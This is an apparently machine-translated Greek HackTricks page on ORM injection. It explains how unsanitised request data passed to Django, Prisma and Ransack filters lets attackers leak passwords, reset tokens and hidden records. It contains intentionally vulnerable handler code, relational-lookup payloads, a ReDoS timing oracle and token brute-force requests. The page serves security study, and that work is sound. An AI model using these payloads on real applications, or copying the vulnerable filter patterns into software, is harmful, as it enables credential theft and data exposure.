ORM Injection
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Django ORM (Python)
In this post εξηγείται πώς είναι δυνατόν να καταστεί ευάλωτο ένα Django ORM χρησιμοποιώντας για παράδειγμα έναν κώδικα όπως:
class ArticleView(APIView):
"""
Ορισμένη βασική API προβολή στην οποία οι χρήστες στέλνουν αιτήματα για
αναζήτηση άρθρων
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Σημειώστε πώς όλα τα request.data (τα οποία θα είναι json) περνάνε απευθείας για φιλτράρισμα αντικειμένων από τη βάση δεδομένων. Ένας επιτιθέμενος θα μπορούσε να στείλει απροσδόκητα φίλτρα προκειμένου να διαρρεύσουν περισσότερα δεδομένα από ό,τι αναμενόταν.
Παραδείγματα:
- Login: Σε μια απλή διαδικασία σύνδεσης προσπαθήστε να διαρρεύσετε τους κωδικούς πρόσβασης των χρηστών που είναι εγγεγραμμένοι σε αυτήν.
{
"username": "admin",
"password_startswith": "a"
}
caution
Είναι δυνατόν να γίνει brute-force στον κωδικό πρόσβασης μέχρι να διαρρεύσει.
- Σχεσιακή φιλτράρισμα: Είναι δυνατόν να διασχίσετε σχέσεις προκειμένου να διαρρεύσει πληροφορίες από στήλες που δεν αναμένονταν καν να χρησιμοποιηθούν στη διαδικασία. Για παράδειγμα, αν είναι δυνατόν να διαρρεύσουν άρθρα που δημιουργήθηκαν από έναν χρήστη με αυτές τις σχέσεις: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains": "pass"
}
caution
Είναι δυνατόν να βρείτε τον κωδικό πρόσβασης όλων των χρηστών που έχουν δημιουργήσει ένα άρθρο
- Πολλών προς πολλούς σχεσιακός φιλτράρισμα: Στο προηγούμενο παράδειγμα δεν μπορέσαμε να βρούμε τους κωδικούς πρόσβασης χρηστών που δεν έχουν δημιουργήσει ένα άρθρο. Ωστόσο, ακολουθώντας άλλες σχέσεις αυτό είναι δυνατό. Για παράδειγμα: Article(
created_by
) -[1..1]-> Author(departments
) -[0..*]-> Department(employees
) -[0..*]-> Author(user
) -[1..1]-> User(password
).
{
"created_by__departments__employees__user_startswith": "admi"
}
caution
Σε αυτή την περίπτωση μπορούμε να βρούμε όλους τους χρήστες στα τμήματα χρηστών που έχουν δημιουργήσει άρθρα και στη συνέχεια να διαρρεύσουμε τους κωδικούς πρόσβασής τους (στο προηγούμενο json διαρρέουμε μόνο τα ονόματα χρηστών αλλά στη συνέχεια είναι δυνατό να διαρρεύσουμε τους κωδικούς πρόσβασης).
- Κατάχρηση των σχέσεων πολλών προς πολλούς του Django Group και Permission με τους χρήστες: Επιπλέον, το μοντέλο AbstractUser χρησιμοποιείται για τη δημιουργία χρηστών στο Django και από προεπιλογή αυτό το μοντέλο έχει κάποιες πολλές προς πολλές σχέσεις με τους πίνακες Permission και Group. Που βασικά είναι ένας προεπιλεγμένος τρόπος για να αποκτήσετε πρόσβαση σε άλλους χρήστες από έναν χρήστη αν είναι στην ίδια ομάδα ή μοιράζονται την ίδια άδεια.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Παράκαμψη περιορισμών φίλτρου: Η ίδια ανάρτηση πρότεινε να παρακαμφθεί η χρήση κάποιων φίλτρων όπως
articles = Article.objects.filter(is_secret=False, **request.data)
. Είναι δυνατόν να εκχυθεί άρθρα που έχουν is_secret=True επειδή μπορούμε να επαναλάβουμε από μια σχέση πίσω στον πίνακα Article και να διαρρεύσουμε μυστικά άρθρα από μη μυστικά άρθρα επειδή τα αποτελέσματα είναι συνδεδεμένα και το πεδίο is_secret ελέγχεται στο μη μυστικό άρθρο ενώ τα δεδομένα διαρρέουν από το μυστικό άρθρο.
Article.objects.filter(is_secret=False, categories__articles__id=2)
caution
Η κακή χρήση των σχέσεων μπορεί να επιτρέψει την παράκαμψη ακόμη και φίλτρων που προορίζονται για την προστασία των δεδομένων που εμφανίζονται.
- Error/Time based via ReDoS: Στα προηγούμενα παραδείγματα αναμενόταν να έχουμε διαφορετικές απαντήσεις αν η φιλτραρίσματος λειτουργούσε ή όχι για να το χρησιμοποιήσουμε ως όρακα. Αλλά θα μπορούσε να είναι δυνατόν κάποια ενέργεια να εκτελείται στη βάση δεδομένων και η απάντηση να είναι πάντα η ίδια. Σε αυτό το σενάριο, θα μπορούσε να είναι δυνατόν να προκαλέσουμε σφάλμα στη βάση δεδομένων για να αποκτήσουμε έναν νέο όρακα.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
- SQLite: Δεν έχει έναν κανονιστικό τελεστή από προεπιλογή (απαιτεί φόρτωση τρίτου μέρους επέκτασης)
- PostgreSQL: Δεν έχει προεπιλεγμένο χρονικό όριο regex και είναι λιγότερο επιρρεπές σε backtracking
- MariaDB: Δεν έχει χρονικό όριο regex
Prisma ORM (NodeJS)
Τα παρακάτω είναι κόλπα που εξάγονται από αυτή την ανάρτηση.
- Πλήρης έλεγχος εύρεσης:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Ο επιτιθέμενος έχει πλήρη έλεγχο όλων των επιλογών prisma
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Είναι δυνατόν να δούμε ότι ολόκληρο το σώμα javascript περνάει στο prisma για να εκτελέσει ερωτήματα.
Στο παράδειγμα από την αρχική ανάρτηση, αυτό θα ελέγξει όλες τις αναρτήσεις που έχουν δημιουργηθεί από κάποιον (κάθε ανάρτηση δημιουργείται από κάποιον) επιστρέφοντας επίσης τις πληροφορίες χρήστη αυτού του κάποιου (όνομα χρήστη, κωδικός πρόσβασης...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Ο παρακάτω επιλέγει όλες τις αναρτήσεις που έχουν δημιουργηθεί από κάποιον με κωδικό πρόσβασης και θα επιστρέψει τον κωδικό πρόσβασης:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Πλήρης έλεγχος της ρήτρας where:
Ας ρίξουμε μια ματιά σε αυτό όπου η επίθεση μπορεί να ελέγξει τη ρήτρα where
:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Ευάλωτο σε ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Είναι δυνατόν να φιλτραριστεί ο κωδικός πρόσβασης των χρηστών απευθείας όπως:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
caution
Χρησιμοποιώντας λειτουργίες όπως το startsWith
, είναι δυνατόν να διαρρεύσει πληροφορία.
- Παράκαμψη φιλτραρίσματος σχέσεων πολλαπλών προς πολλαπλές:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Είναι δυνατόν να διαρρεύσουν μη δημοσιευμένα άρθρα επαναλαμβάνοντας τις πολλές-προς-πολλές σχέσεις μεταξύ Category
-[*..*]-> Article
:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Είναι επίσης δυνατό να διαρρεύσουν όλοι οι χρήστες εκμεταλλευόμενοι κάποιες σχέσεις πολλαπλών προς πολλαπλούς με επαναφορά.
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Στην αρχική ανάρτηση μπορείτε να διαβάσετε ένα πολύ εκτενές σύνολο δοκιμών που πραγματοποιήθηκαν προκειμένου να βρεθεί το βέλτιστο payload για να διαρρεύσει πληροφορίες με ένα payload βασισμένο στον χρόνο. Αυτό είναι:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Όπου το {CONTAINS_LIST}
είναι μια λίστα με 1000 συμβολοσειρές για να διασφαλιστεί ότι η απάντηση καθυστερεί όταν βρεθεί η σωστή διαρροή.
Ransack (Ruby)
Αυτές οι τεχνικές βρέθηκαν σε αυτήν την ανάρτηση.
tip
Σημειώστε ότι το Ransack 4.0.0.0 επιβάλλει πλέον τη χρήση ρητής λίστας επιτρεπόμενων για αναζητήσιμα χαρακτηριστικά και συσχετίσεις.
Ευάλωτο παράδειγμα:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Σημειώστε πώς το ερώτημα θα καθοριστεί από τις παραμέτρους που αποστέλλονται από τον επιτιθέμενο. Ήταν δυνατόν, για παράδειγμα, να γίνει brute-force το reset token με:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Με την επίθεση brute-force και πιθανές σχέσεις, ήταν δυνατό να διαρρεύσουν περισσότερα δεδομένα από μια βάση δεδομένων.
Αναφορές
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.